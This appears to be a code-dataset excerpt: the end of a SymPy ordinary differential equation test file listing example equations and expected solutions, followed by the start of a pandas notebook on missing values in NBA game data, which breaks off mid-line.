'XFAIL': ['factorable']\n    },\n\n    #Below examples were added for the issue: https://github.com/sympy/sympy/issues/15889\n    'fact_12': {\n        'eq': exp(f(x).diff(x))-f(x)**2,\n        'sol': [Eq(NonElementaryIntegral(1/log(y**2), (y, f(x))), C1 + x)],\n        'XFAIL': ['lie_group'] #It shows not implemented error for lie_group.\n    },\n\n    'fact_13': {\n        'eq': f(x).diff(x)**2 - f(x)**3,\n        'sol': [Eq(f(x), 4/(C1**2 - 2*C1*x + x**2))],\n        'XFAIL': ['lie_group'] #It shows not implemented error for lie_group.\n    },\n\n    'fact_14': {\n        'eq': f(x).diff(x)**2 - f(x),\n        'sol': [Eq(f(x), C1**2/4 - C1*x/2 + x**2/4)]\n    },\n\n    'fact_15': {\n        'eq': f(x).diff(x)**2 - f(x)**2,\n        'sol': [Eq(f(x), C1*exp(x)), Eq(f(x), C1*exp(-x))]\n    },\n\n    'fact_16': {\n        'eq': f(x).diff(x)**2 - f(x)**3,\n        'sol': [Eq(f(x), 4/(C1**2 - 2*C1*x + x**2))]\n    },\n    }\n    }\n\n\n\ndef _get_examples_ode_sol_almost_linear():\n    from sympy import Ei\n    A = Symbol('A', positive=True)\n    f = Function('f')\n    d = f(x).diff(x)\n\n    return {\n            'hint': \"almost_linear\",\n            'func': f(x),\n            'examples':{\n    'almost_lin_01': {\n        'eq': x**2*f(x)**2*d + f(x)**3 + 1,\n        'sol': [Eq(f(x), (C1*exp(3/x) - 1)**Rational(1, 3)),\n        Eq(f(x), (-1 - sqrt(3)*I)*(C1*exp(3/x) - 1)**Rational(1, 3)/2),\n        Eq(f(x), (-1 + sqrt(3)*I)*(C1*exp(3/x) - 1)**Rational(1, 3)/2)],\n\n    },\n\n    'almost_lin_02': {\n        'eq': x*f(x)*d + 2*x*f(x)**2 + 1,\n        'sol': [Eq(f(x), -sqrt((C1 - 2*Ei(4*x))*exp(-4*x))), Eq(f(x), sqrt((C1 - 2*Ei(4*x))*exp(-4*x)))]\n    },\n\n    'almost_lin_03': {\n        'eq':  x*d + x*f(x) + 1,\n        'sol': [Eq(f(x), (C1 - Ei(x))*exp(-x))]\n    },\n\n    'almost_lin_04': {\n        'eq': x*exp(f(x))*d + exp(f(x)) + 3*x,\n        'sol': [Eq(f(x), log(C1/x - x*Rational(3, 2)))],\n    },\n\n    'almost_lin_05': {\n        'eq': x + A*(x + diff(f(x), x) + f(x)) + diff(f(x), x) + f(x) + 2,\n        'sol': [Eq(f(x), (C1 + Piecewise(\n        (x, Eq(A + 1, 0)), ((-A*x + A - x - 1)*exp(x)/(A + 1), True)))*exp(-x))],\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_liouville():\n    return {\n            'hint': \"Liouville\",\n            'func': f(x),\n            'examples':{\n    'liouville_01': {\n        'eq': diff(f(x), x)/x + diff(f(x), x, x)/2 - diff(f(x), x)**2/2,\n        'sol': [Eq(f(x), log(x/(C1 + C2*x)))],\n\n    },\n\n    'liouville_02': {\n        'eq': diff(x*exp(-f(x)), x, x),\n        'sol': [Eq(f(x), log(x/(C1 + C2*x)))]\n    },\n\n    'liouville_03': {\n        'eq':  ((diff(f(x), x)/x + diff(f(x), x, x)/2 - diff(f(x), x)**2/2)*exp(-f(x))/exp(f(x))).expand(),\n        'sol': [Eq(f(x), log(x/(C1 + C2*x)))]\n    },\n\n    'liouville_04': {\n        'eq': diff(f(x), x, x) + 1/f(x)*(diff(f(x), x))**2 + 1/x*diff(f(x), x),\n        'sol': [Eq(f(x), -sqrt(C1 + C2*log(x))), Eq(f(x), sqrt(C1 + C2*log(x)))],\n    },\n\n    'liouville_05': {\n        'eq': x*diff(f(x), x, x) + x/f(x)*diff(f(x), x)**2 + x*diff(f(x), x),\n        'sol': [Eq(f(x), -sqrt(C1 + C2*exp(-x))), Eq(f(x), sqrt(C1 + C2*exp(-x)))],\n    },\n\n    'liouville_06': {\n        'eq': Eq((x*exp(f(x))).diff(x, x), 0),\n        'sol': [Eq(f(x), log(C1 + C2/x))],\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_nth_algebraic():\n    M, m, r, t = symbols('M m r t')\n    phi = Function('phi')\n    # This one needs a substitution f' = g.\n    # 'algeb_12': {\n    #     'eq': -exp(x) + (x*Derivative(f(x), (x, 2)) + Derivative(f(x), x))/x,\n    #     'sol': [Eq(f(x), C1 + C2*log(x) + exp(x) - Ei(x))],\n    # },\n    return {\n            'hint': \"nth_algebraic\",\n            'func': f(x),\n            'examples':{\n    'algeb_01': {\n        'eq': f(x) * f(x).diff(x) * f(x).diff(x, x) * (f(x) - 1) * (f(x).diff(x) - x),\n        'sol': [Eq(f(x), C1 + x**2/2), Eq(f(x), C1 + C2*x)]\n    },\n\n    'algeb_02': {\n        'eq': f(x) * f(x).diff(x) * f(x).diff(x, x) * (f(x) - 1),\n        'sol': [Eq(f(x), C1 + C2*x)]\n    },\n\n    'algeb_03': {\n        'eq': f(x) * f(x).diff(x) * f(x).diff(x, x),\n        'sol': [Eq(f(x), C1 + C2*x)]\n    },\n\n    'algeb_04': {\n        'eq': Eq(-M * phi(t).diff(t),\n         Rational(3, 2) * m * r**2 * phi(t).diff(t) * phi(t).diff(t,t)),\n        'sol': [Eq(phi(t), C1), Eq(phi(t), C1 + C2*t - M*t**2/(3*m*r**2))],\n        'func': phi(t)\n    },\n\n    'algeb_05': {\n        'eq': (1 - sin(f(x))) * f(x).diff(x),\n        'sol': [Eq(f(x), C1)],\n        'XFAIL': ['separable']  #It raised exception.\n    },\n\n    'algeb_06': {\n        'eq': (diff(f(x)) - x)*(diff(f(x)) + x),\n        'sol': [Eq(f(x), C1 - x**2/2), Eq(f(x), C1 + x**2/2)]\n    },\n\n    'algeb_07': {\n        'eq': Eq(Derivative(f(x), x), Derivative(g(x), x)),\n        'sol': [Eq(f(x), C1 + g(x))],\n    },\n\n    'algeb_08': {\n        'eq': f(x).diff(x) - C1,   #this example is from issue 15999\n        'sol': [Eq(f(x), C1*x + C2)],\n    },\n\n    'algeb_09': {\n        'eq': f(x)*f(x).diff(x),\n        'sol': [Eq(f(x), C1)],\n    },\n\n    'algeb_10': {\n        'eq': (diff(f(x)) - x)*(diff(f(x)) + x),\n        'sol': [Eq(f(x), C1 - x**2/2), Eq(f(x), C1 + x**2/2)],\n    },\n\n    'algeb_11': {\n        'eq': f(x) + f(x)*f(x).diff(x),\n        'sol': [Eq(f(x), 0), Eq(f(x), C1 - x)],\n        'XFAIL': ['separable', '1st_exact', '1st_linear', 'Bernoulli', '1st_homogeneous_coeff_best',\n         '1st_homogeneous_coeff_subs_indep_div_dep', '1st_homogeneous_coeff_subs_dep_div_indep',\n         'lie_group', 'nth_linear_constant_coeff_undetermined_coefficients',\n         'nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients',\n         'nth_linear_constant_coeff_variation_of_parameters',\n         'nth_linear_euler_eq_nonhomogeneous_variation_of_parameters']\n         #nth_linear_constant_coeff_undetermined_coefficients raises exception rest all of them misses a solution.\n    },\n\n    'algeb_12': {\n        'eq': Derivative(x*f(x), x, x, x),\n        'sol': [Eq(f(x), (C1 + C2*x + C3*x**2) / x)],\n        'XFAIL': ['nth_algebraic']  # It passes only when prep=False is set in dsolve.\n    },\n\n    'algeb_13': {\n        'eq': Eq(Derivative(x*Derivative(f(x), x), x)/x, exp(x)),\n        'sol': [Eq(f(x), C1 + C2*log(x) + exp(x) - Ei(x))],\n        'XFAIL': ['nth_algebraic']  # It passes only when prep=False is set in dsolve.\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_nth_order_reducible():\n    return {\n            'hint': \"nth_order_reducible\",\n            'func': f(x),\n            'examples':{\n    'reducible_01': {\n        'eq': Eq(x*Derivative(f(x), x)**2 + Derivative(f(x), x, 2), 0),\n        'sol': [Eq(f(x),C1 - sqrt(-1/C2)*log(-C2*sqrt(-1/C2) + x) +\n        sqrt(-1/C2)*log(C2*sqrt(-1/C2) + x))],\n        'slow': True,\n    },\n\n    'reducible_02': {\n        'eq': -exp(x) + (x*Derivative(f(x), (x, 2)) + Derivative(f(x), x))/x,\n        'sol': [Eq(f(x), C1 + C2*log(x) + exp(x) - Ei(x))],\n        'slow': True,\n    },\n\n    'reducible_03': {\n        'eq': Eq(sqrt(2) * f(x).diff(x,x,x) + f(x).diff(x), 0),\n        'sol': [Eq(f(x), C1 + C2*sin(2**Rational(3, 4)*x/2) + C3*cos(2**Rational(3, 4)*x/2))],\n        'slow': True,\n    },\n\n    'reducible_04': {\n        'eq': f(x).diff(x, 2) + 2*f(x).diff(x),\n        'sol': [Eq(f(x), C1 + C2*exp(-2*x))],\n    },\n\n    'reducible_05': {\n        'eq': f(x).diff(x, 3) + f(x).diff(x, 2) - 6*f(x).diff(x),\n        'sol': [Eq(f(x), C1 + C2*exp(-3*x) + C3*exp(2*x))],\n        'slow': True,\n    },\n\n    'reducible_06': {\n        'eq': f(x).diff(x, 4) - f(x).diff(x, 3) - 4*f(x).diff(x, 2) + \\\n        4*f(x).diff(x),\n        'sol': [Eq(f(x), C1 + C2*exp(-2*x) + C3*exp(x) + C4*exp(2*x))],\n        'slow': True,\n    },\n\n    'reducible_07': {\n        'eq': f(x).diff(x, 4) + 3*f(x).diff(x, 3),\n        'sol': [Eq(f(x), C1 + C2*x + C3*x**2 + C4*exp(-3*x))],\n        'slow': True,\n    },\n\n    'reducible_08': {\n        'eq': f(x).diff(x, 4) - 2*f(x).diff(x, 2),\n        'sol': [Eq(f(x), C1 + C2*x + C3*exp(-sqrt(2)*x) + C4*exp(sqrt(2)*x))],\n        'slow': True,\n    },\n\n    'reducible_09': {\n        'eq': f(x).diff(x, 4) + 4*f(x).diff(x, 2),\n        'sol': [Eq(f(x), C1 + C2*x + C3*sin(2*x) + C4*cos(2*x))],\n        'slow': True,\n    },\n\n    'reducible_10': {\n        'eq': f(x).diff(x, 5) + 2*f(x).diff(x, 3) + f(x).diff(x),\n        'sol': [Eq(f(x), C1 + C2*(x*sin(x) + cos(x)) + C3*(-x*cos(x) + sin(x)) + C4*sin(x) + C5*cos(x))],\n        'slow': True,\n    },\n\n    'reducible_11': {\n        'eq': f(x).diff(x, 2) - f(x).diff(x)**3,\n        'sol': [Eq(f(x), C1 - sqrt(2)*I*(C2 + x)*sqrt(1/(C2 + x))),\n        Eq(f(x), C1 + sqrt(2)*I*(C2 + x)*sqrt(1/(C2 + x)))],\n        'slow': True,\n    },\n    }\n    }\n\n\n\ndef _get_examples_ode_sol_nth_linear_undetermined_coefficients():\n    # examples 3-27 below are from Ordinary Differential Equations,\n    #                     Tenenbaum and Pollard, pg. 231\n    g = exp(-x)\n    f2 = f(x).diff(x, 2)\n    c = 3*f(x).diff(x, 3) + 5*f2 + f(x).diff(x) - f(x) - x\n    return {\n            'hint': \"nth_linear_constant_coeff_undetermined_coefficients\",\n            'func': f(x),\n            'examples':{\n    'undet_01': {\n        'eq': c - x*g,\n        'sol': [Eq(f(x), C3*exp(x/3) - x + (C1 + x*(C2 - x**2/24 - 3*x/32))*exp(-x) - 1)],\n        'slow': True,\n    },\n\n    'undet_02': {\n        'eq': c - g,\n        'sol': [Eq(f(x), C3*exp(x/3) - x + (C1 + x*(C2 - x/8))*exp(-x) - 1)],\n        'slow': True,\n    },\n\n    'undet_03': {\n        'eq': f2 + 3*f(x).diff(x) + 2*f(x) - 4,\n        'sol': [Eq(f(x), C1*exp(-2*x) + C2*exp(-x) + 2)],\n        'slow': True,\n    },\n\n    'undet_04': {\n        'eq': f2 + 3*f(x).diff(x) + 2*f(x) - 12*exp(x),\n        'sol': [Eq(f(x), C1*exp(-2*x) + C2*exp(-x) + 2*exp(x))],\n        'slow': True,\n    },\n\n    'undet_05': {\n        'eq': f2 + 3*f(x).diff(x) + 2*f(x) - exp(I*x),\n        'sol': [Eq(f(x), C1*exp(-2*x) + C2*exp(-x) + exp(I*x)/10 - 3*I*exp(I*x)/10)],\n        'slow': True,\n    },\n\n    'undet_06': {\n        'eq': f2 + 3*f(x).diff(x) + 2*f(x) - sin(x),\n        'sol': [Eq(f(x), C1*exp(-2*x) + C2*exp(-x) + sin(x)/10 - 3*cos(x)/10)],\n        'slow': True,\n    },\n\n    'undet_07': {\n        'eq': f2 + 3*f(x).diff(x) + 2*f(x) - cos(x),\n        'sol': [Eq(f(x), C1*exp(-2*x) + C2*exp(-x) + 3*sin(x)/10 + cos(x)/10)],\n        'slow': True,\n    },\n\n    'undet_08': {\n        'eq': f2 + 3*f(x).diff(x) + 2*f(x) - (8 + 6*exp(x) + 2*sin(x)),\n        'sol': [Eq(f(x), C1*exp(-2*x) + C2*exp(-x) + exp(x) + sin(x)/5 - 3*cos(x)/5 + 4)],\n        'slow': True,\n    },\n\n    'undet_09': {\n        'eq': f2 + f(x).diff(x) + f(x) - x**2,\n        'sol': [Eq(f(x), -2*x + x**2 + (C1*sin(x*sqrt(3)/2) + C2*cos(x*sqrt(3)/2))*exp(-x/2))],\n        'slow': True,\n    },\n\n    'undet_10': {\n        'eq': f2 - 2*f(x).diff(x) - 8*f(x) - 9*x*exp(x) - 10*exp(-x),\n        'sol': [Eq(f(x), -x*exp(x) - 2*exp(-x) + C1*exp(-2*x) + C2*exp(4*x))],\n        'slow': True,\n    },\n\n    'undet_11': {\n        'eq': f2 - 3*f(x).diff(x) - 2*exp(2*x)*sin(x),\n        'sol': [Eq(f(x), C1 + C2*exp(3*x) - 3*exp(2*x)*sin(x)/5 - exp(2*x)*cos(x)/5)],\n        'slow': True,\n    },\n\n    'undet_12': {\n        'eq': f(x).diff(x, 4) - 2*f2 + f(x) - x + sin(x),\n        'sol': [Eq(f(x), x - sin(x)/4 + (C1 + C2*x)*exp(-x) + (C3 + C4*x)*exp(x))],\n        'slow': True,\n    },\n\n    'undet_13': {\n        'eq': f2 + f(x).diff(x) - x**2 - 2*x,\n        'sol': [Eq(f(x), C1 + x**3/3 + C2*exp(-x))],\n        'slow': True,\n    },\n\n    'undet_14': {\n        'eq': f2 + f(x).diff(x) - x - sin(2*x),\n        'sol': [Eq(f(x), C1 - x - sin(2*x)/5 - cos(2*x)/10 + x**2/2 + C2*exp(-x))],\n        'slow': True,\n    },\n\n    'undet_15': {\n        'eq': f2 + f(x) - 4*x*sin(x),\n        'sol': [Eq(f(x), (C1 - x**2)*cos(x) + (C2 + x)*sin(x))],\n        'slow': True,\n    },\n\n    'undet_16': {\n        'eq': f2 + 4*f(x) - x*sin(2*x),\n        'sol': [Eq(f(x), (C1 - x**2/8)*cos(2*x) + (C2 + x/16)*sin(2*x))],\n        'slow': True,\n    },\n\n    'undet_17': {\n        'eq': f2 + 2*f(x).diff(x) + f(x) - x**2*exp(-x),\n        'sol': [Eq(f(x), (C1 + x*(C2 + x**3/12))*exp(-x))],\n        'slow': True,\n    },\n\n    'undet_18': {\n        'eq': f(x).diff(x, 3) + 3*f2 + 3*f(x).diff(x) + f(x) - 2*exp(-x) + \\\n        x**2*exp(-x),\n        'sol': [Eq(f(x), (C1 + x*(C2 + x*(C3 - x**3/60 + x/3)))*exp(-x))],\n        'slow': True,\n    },\n\n    'undet_19': {\n        'eq': f2 + 3*f(x).diff(x) + 2*f(x) - exp(-2*x) - x**2,\n        'sol': [Eq(f(x), C2*exp(-x) + x**2/2 - x*Rational(3,2) + (C1 - x)*exp(-2*x) + Rational(7,4))],\n        'slow': True,\n    },\n\n    'undet_20': {\n        'eq': f2 - 3*f(x).diff(x) + 2*f(x) - x*exp(-x),\n        'sol': [Eq(f(x), C1*exp(x) + C2*exp(2*x) + (6*x + 5)*exp(-x)/36)],\n        'slow': True,\n    },\n\n    'undet_21': {\n        'eq': f2 + f(x).diff(x) - 6*f(x) - x - exp(2*x),\n        'sol': [Eq(f(x), Rational(-1, 36) - x/6 + C2*exp(-3*x) + (C1 + x/5)*exp(2*x))],\n        'slow': True,\n    },\n\n    'undet_22': {\n        'eq': f2 + f(x) - sin(x) - exp(-x),\n        'sol': [Eq(f(x), C2*sin(x) + (C1 - x/2)*cos(x) + exp(-x)/2)],\n        'slow': True,\n    },\n\n    'undet_23': {\n        'eq': f(x).diff(x, 3) - 3*f2 + 3*f(x).diff(x) - f(x) - exp(x),\n        'sol': [Eq(f(x), (C1 + x*(C2 + x*(C3 + x/6)))*exp(x))],\n        'slow': True,\n    },\n\n    'undet_24': {\n        'eq': f2 + f(x) - S.Half - cos(2*x)/2,\n        'sol': [Eq(f(x), S.Half - cos(2*x)/6 + C1*sin(x) + C2*cos(x))],\n        'slow': True,\n    },\n\n    'undet_25': {\n        'eq': f(x).diff(x, 3) - f(x).diff(x) - exp(2*x)*(S.Half - cos(2*x)/2),\n        'sol': [Eq(f(x), C1 + C2*exp(-x) + C3*exp(x) + (-21*sin(2*x) + 27*cos(2*x) + 130)*exp(2*x)/1560)],\n        'slow': True,\n    },\n\n    'undet_26': {\n        'eq': (f(x).diff(x, 5) + 2*f(x).diff(x, 3) + f(x).diff(x) - 2*x -\n        sin(x) - cos(x)),\n        'sol': [Eq(f(x), C1 + x**2 + (C2 + x*(C3 - x/8))*sin(x) + (C4 + x*(C5 + x/8))*cos(x))],\n        'slow': True,\n    },\n\n    'undet_27': {\n        'eq': f2 + f(x) - cos(x)/2 + cos(3*x)/2,\n        'sol': [Eq(f(x), cos(3*x)/16 + C2*cos(x) + (C1 + x/4)*sin(x))],\n        'slow': True,\n    },\n\n    'undet_28': {\n        'eq': f(x).diff(x) - 1,\n        'sol': [Eq(f(x), C1 + x)],\n        'slow': True,\n    },\n\n    # https://github.com/sympy/sympy/issues/19358\n    'undet_29': {\n        'eq': f2 + f(x).diff(x) + exp(x-C1),\n        'sol': [Eq(f(x), C2 + C3*exp(-x) - exp(-C1 + x)/2)],\n        'slow': True,\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_separable():\n    # test_separable1-5 are from Ordinary Differential Equations, Tenenbaum and\n    # Pollard, pg. 55\n    a = Symbol('a')\n    return {\n            'hint': \"separable\",\n            'func': f(x),\n            'examples':{\n    'separable_01': {\n        'eq': f(x).diff(x) - f(x),\n        'sol': [Eq(f(x), C1*exp(x))],\n    },\n\n    'separable_02': {\n        'eq': x*f(x).diff(x) - f(x),\n        'sol': [Eq(f(x), C1*x)],\n    },\n\n    'separable_03': {\n        'eq': f(x).diff(x) + sin(x),\n        'sol': [Eq(f(x), C1 + cos(x))],\n    },\n\n    'separable_04': {\n        'eq': f(x)**2 + 1 - (x**2 + 1)*f(x).diff(x),\n        'sol': [Eq(f(x), tan(C1 + atan(x)))],\n    },\n\n    'separable_05': {\n        'eq': f(x).diff(x)/tan(x) - f(x) - 2,\n        'sol': [Eq(f(x), C1/cos(x) - 2)],\n    },\n\n    'separable_06': {\n        'eq': f(x).diff(x) * (1 - sin(f(x))) - 1,\n        'sol': [Eq(-x + f(x) + cos(f(x)), C1)],\n    },\n\n    'separable_07': {\n        'eq': f(x)*x**2*f(x).diff(x) - f(x)**3 - 2*x**2*f(x).diff(x),\n        'sol': [Eq(f(x), (-x + sqrt(x*(4*C1*x + x - 4)))/(C1*x - 1)/2),\n        Eq(f(x), -((x + sqrt(x*(4*C1*x + x - 4)))/(C1*x - 1))/2)],\n        'slow': True,\n    },\n\n    'separable_08': {\n        'eq': f(x)**2 - 1 - (2*f(x) + x*f(x))*f(x).diff(x),\n        'sol': [Eq(f(x), -sqrt(C1*x**2 + 4*C1*x + 4*C1 + 1)),\n        Eq(f(x), sqrt(C1*x**2 + 4*C1*x + 4*C1 + 1))],\n        'slow': True,\n    },\n\n    'separable_09': {\n        'eq': x*log(x)*f(x).diff(x) + sqrt(1 + f(x)**2),\n        'sol': [Eq(f(x), sinh(C1 - log(log(x))))],  #One more solution is f(x)=I\n        'slow': True,\n        'checkodesol_XFAIL': True,\n    },\n\n    'separable_10': {\n        'eq': exp(x + 1)*tan(f(x)) + cos(f(x))*f(x).diff(x),\n        'sol': [Eq(E*exp(x) + log(cos(f(x)) - 1)/2 - log(cos(f(x)) + 1)/2 + cos(f(x)), C1)],\n        'slow': True,\n    },\n\n    'separable_11': {\n        'eq': (x*cos(f(x)) + x**2*sin(f(x))*f(x).diff(x) - a**2*sin(f(x))*f(x).diff(x)),\n        'sol': [Eq(f(x), -acos(C1*sqrt(-a**2 + x**2)) + 2*pi),\n        Eq(f(x), acos(C1*sqrt(-a**2 + x**2)))],\n        'slow': True,\n    },\n\n    'separable_12': {\n        'eq': f(x).diff(x) - f(x)*tan(x),\n        'sol': [Eq(f(x), C1/cos(x))],\n    },\n\n    'separable_13': {\n        'eq': (x - 1)*cos(f(x))*f(x).diff(x) - 2*x*sin(f(x)),\n        'sol': [Eq(f(x), pi - asin(C1*(x**2 - 2*x + 1)*exp(2*x))),\n        Eq(f(x), asin(C1*(x**2 - 2*x + 1)*exp(2*x)))],\n    },\n\n    'separable_14': {\n        'eq': f(x).diff(x) - f(x)*log(f(x))/tan(x),\n        'sol': [Eq(f(x), exp(C1*sin(x)))],\n    },\n\n    'separable_15': {\n        'eq': x*f(x).diff(x) + (1 + f(x)**2)*atan(f(x)),\n        'sol': [Eq(f(x), tan(C1/x))],  #Two more solutions are f(x)=0 and f(x)=I\n        'slow': True,\n        'checkodesol_XFAIL': True,\n    },\n\n    'separable_16': {\n        'eq': f(x).diff(x) + x*(f(x) + 1),\n        'sol': [Eq(f(x), -1 + C1*exp(-x**2/2))],\n    },\n\n    'separable_17': {\n        'eq': exp(f(x)**2)*(x**2 + 2*x + 1) + (x*f(x) + f(x))*f(x).diff(x),\n        'sol': [Eq(f(x), -sqrt(log(1/(C1 + x**2 + 2*x)))),\n        Eq(f(x), sqrt(log(1/(C1 + x**2 + 2*x))))],\n    },\n\n    'separable_18': {\n        'eq': f(x).diff(x) + f(x),\n        'sol': [Eq(f(x), C1*exp(-x))],\n    },\n\n    'separable_19': {\n        'eq': sin(x)*cos(2*f(x)) + cos(x)*sin(2*f(x))*f(x).diff(x),\n        'sol': [Eq(f(x), pi - acos(C1/cos(x)**2)/2), Eq(f(x), acos(C1/cos(x)**2)/2)],\n    },\n\n    'separable_20': {\n        'eq': (1 - x)*f(x).diff(x) - x*(f(x) + 1),\n        'sol': [Eq(f(x), (C1*exp(-x) - x + 1)/(x - 1))],\n    },\n\n    'separable_21': {\n        'eq': f(x)*diff(f(x), x) + x - 3*x*f(x)**2,\n        'sol': [Eq(f(x), -sqrt(3)*sqrt(C1*exp(3*x**2) + 1)/3),\n        Eq(f(x), sqrt(3)*sqrt(C1*exp(3*x**2) + 1)/3)],\n    },\n\n    'separable_22': {\n        'eq': f(x).diff(x) - exp(x + f(x)),\n        'sol': [Eq(f(x), log(-1/(C1 + exp(x))))],\n        'XFAIL': ['lie_group'] #It shows 'NoneType' object is not subscriptable for lie_group.\n    },\n    }\n    }\n\n\ndef _get_all_examples():\n    all_solvers = [_get_examples_ode_sol_euler_homogeneous(),\n    _get_examples_ode_sol_euler_undetermined_coeff(),\n    _get_examples_ode_sol_euler_var_para(),\n    _get_examples_ode_sol_factorable(),\n    _get_examples_ode_sol_bernoulli(),\n    _get_examples_ode_sol_nth_algebraic(),\n    _get_examples_ode_sol_riccati(),\n    _get_examples_ode_sol_1st_linear(),\n    _get_examples_ode_sol_almost_linear(),\n    _get_examples_ode_sol_nth_order_reducible(),\n    _get_examples_ode_sol_nth_linear_undetermined_coefficients(),\n    _get_examples_ode_sol_liouville(),\n    _get_examples_ode_sol_separable(),\n    ]\n\n    all_examples = []\n    for solver in all_solvers:\n        for example in solver['examples']:\n            temp = {\n                'hint': solver['hint'],\n                'func': solver['examples'][example].get('func',solver['func']),\n                'eq': solver['examples'][example]['eq'],\n                'sol': solver['examples'][example]['sol'],\n                'XFAIL': solver['examples'][example].get('XFAIL',[]),\n                'checkodesol_XFAIL': solver['examples'][example].get('checkodesol_XFAIL', False),\n                'example_name': example,\n            }\n            all_examples.append(temp)\n    return all_examples\n", "meta": {"hexsha": "8aa488e9a2a5c82fd4057d96137a6c6fe65df02e", "size": 42278, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/solvers/ode/tests/test_single.py", "max_stars_repo_name": "Abhishek-IOT/sympy", "max_stars_repo_head_hexsha": "e31c4cdedb5080325b3fd04f4b4826d9dab65b26", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-26T21:44:06.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-26T21:44:06.000Z", "max_issues_repo_path": "sympy/solvers/ode/tests/test_single.py", "max_issues_repo_name": "Abhishek-IOT/sympy", "max_issues_repo_head_hexsha": "e31c4cdedb5080325b3fd04f4b4826d9dab65b26", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/solvers/ode/tests/test_single.py", "max_forks_repo_name": "Abhishek-IOT/sympy", "max_forks_repo_head_hexsha": "e31c4cdedb5080325b3fd04f4b4826d9dab65b26", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.1017463933, "max_line_length": 140, "alphanum_fraction": 0.5157765268, "include": true, "reason": "from sympy", "num_tokens": 14800, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.20434190235957034, "lm_q1q2_score": 0.08633540083366678}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Accessing Data in Python (part 2)\n\n# In[2]:\n\n\n# %load ./imports.py\n# %load /Users/bartev/dev/github-bv/sporty/notebooks/imports.py\n\n## Where am I\nget_ipython().system('echo $VIRTUAL_ENV')\n\nfrom IPython.core.display import display, HTML\ndisplay(HTML(\"<style>.container { width:95% !important; }</style>\"))\n\n# magics\nget_ipython().run_line_magic('load_ext', 'blackcellmagic')\n# start cell with `%%black` to format using `black`\n\nget_ipython().run_line_magic('load_ext', 'autoreload')\n# start cell with `%autoreload` to reload module\n# https://ipython.org/ipython-doc/stable/config/extensions/autoreload.html\n\n# reload all modules when running\nget_ipython().run_line_magic('autoreload', '2')\n\n# imports\n\nimport pandas as pd\nimport numpy as np\nimport statsmodels.formula.api as smf\nimport seaborn as sns\n\nfrom importlib import reload\nfrom pathlib import Path\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# https://plotnine.readthedocs.io/en/stable/\n\nimport plotnine as p9\nfrom plotnine import ggplot, aes, facet_wrap\n\nfrom src.utils import lower_case_col_names\nimport src.data.load_data as ld\nfrom src.data.load_data import get_nba_game_team_points\n\n\n# In[3]:\n\n\nnba_games = ld.load_nba('games')\nnba_games.head()\n\n\n# In[4]:\n\n\ngames_18 = nba_games.query(\"season == 2018\")\n\n\n# In[5]:\n\n\ngames_18.info()\n\n\n# ## Use `info()` to check for missing variables\n\n# In[6]:\n\n\nnba_games.info()\n\n\n# Note: some variables have missing data\n\n# ## Use `isnull()`, `notnull()` to look for missing values\n\n# this doesn't work - why?\n\n# In[7]:\n\n\nnba_games[nba_games.isnull()]\n\n\n# This doesn't seem to do anything either\n\n# In[8]:\n\n\nnba_games[nba_games.notnull()]\n\n\n# # Handling Missing Values\n\n# ## Drop observations with missing values in the variable `fg_pct_home`\n\n# Using `notnull` on a single column works, though.\n\n# In[29]:\n\n\nnba_games[pd.notnull(nba_games['fg_pct_home'])]\n\n\n# Call `notnull` either as a method on the column, or as a function from pandas\n\n# In[31]:\n\n\nnba_games[nba_games['fg_pct_home'].notnull()]\n\n\n# In[28]:\n\n\nnba_games[pd.isnull(nba_games['fg_pct_home'])].shape\n\n\n# ## Data imputation\n\n# ### `fillna`\n\n# In[32]:\n\n\nnba_games.mean()\n\n\n# In[35]:\n\n\nmean_filled = nba_games.fillna(nba_games.mean())\nprint(f'shape: {mean_filled.shape}')\nmean_filled.head()\n\n\n# ## Create variables\n\n# In[38]:\n\n\nnba_games[['pts_home', 'pts_away']].head()\n\n\n# In[40]:\n\n\n(nba_games['pts_home'] + nba_games['pts_away']).head()\n\n\n# ### Based on a condition\n\n# Could use `home_team_wins`, but I'm doing it this way to make sure it's all consistent.m\n\n# In[44]:\n\n\n(nba_games\n .head()\n .fillna(lambda x: x.mean())\n [['pts_home', 'pts_away', 'home_team_wins']]\n .assign(result=lambda x: np.where(x['pts_home'] > x['pts_away'], 'W', 'L'))\n)\n\n\n# Drop the newly created variable\n\n# In[46]:\n\n\n(nba_games\n .head()\n .fillna(lambda x: x.mean())\n [['pts_home', 'pts_away', 'home_team_wins']]\n .assign(result=lambda x: np.where(x['pts_home'] > x['pts_away'], 'W', 'L'))\n .drop('result', axis=1) \n)\n\n\n# In[47]:\n\n\nnba_games.head()\n\n\n# ### Create a variable based on a group\n\n# Download \n\n# In[20]:\n\n\nnba_gtp = get_nba_game_team_points()\nnba_gtp\n\n\n# * 2 observations: 1 each for home and away teams\n# * Create a variable `point_diff`.\n# \n# 1. sort by `game_id` and `wl`. (puts the same game rows together, with winning team first)\n# 2. the `groupby` and `diff` will give the diff between the rows in the same match\n\n# In[30]:\n\n\n(nba_gtp.sort_values([\"game_id\", \"wl\"])[[\"game_id\", \"hv\", \"points\"]]\n    .assign(point_diff=lambda x: x.groupby([\"game_id\"])[\"points\"].diff()))\n\n\n# `point_diff` will only have the point difference for the winning team (not the losing team)\n# \n# Fill in the missing values for the losing team with the mean of the observation.\n# \n# Use the `transform` function to map the values to the same index of the original data frame.\n\n# In[29]:\n\n\ntmp = (\n    nba_gtp.sort_values([\"game_id\", \"wl\"])[[\"game_id\", \"hv\", \"points\"]]\n    .assign(point_diff=lambda x: 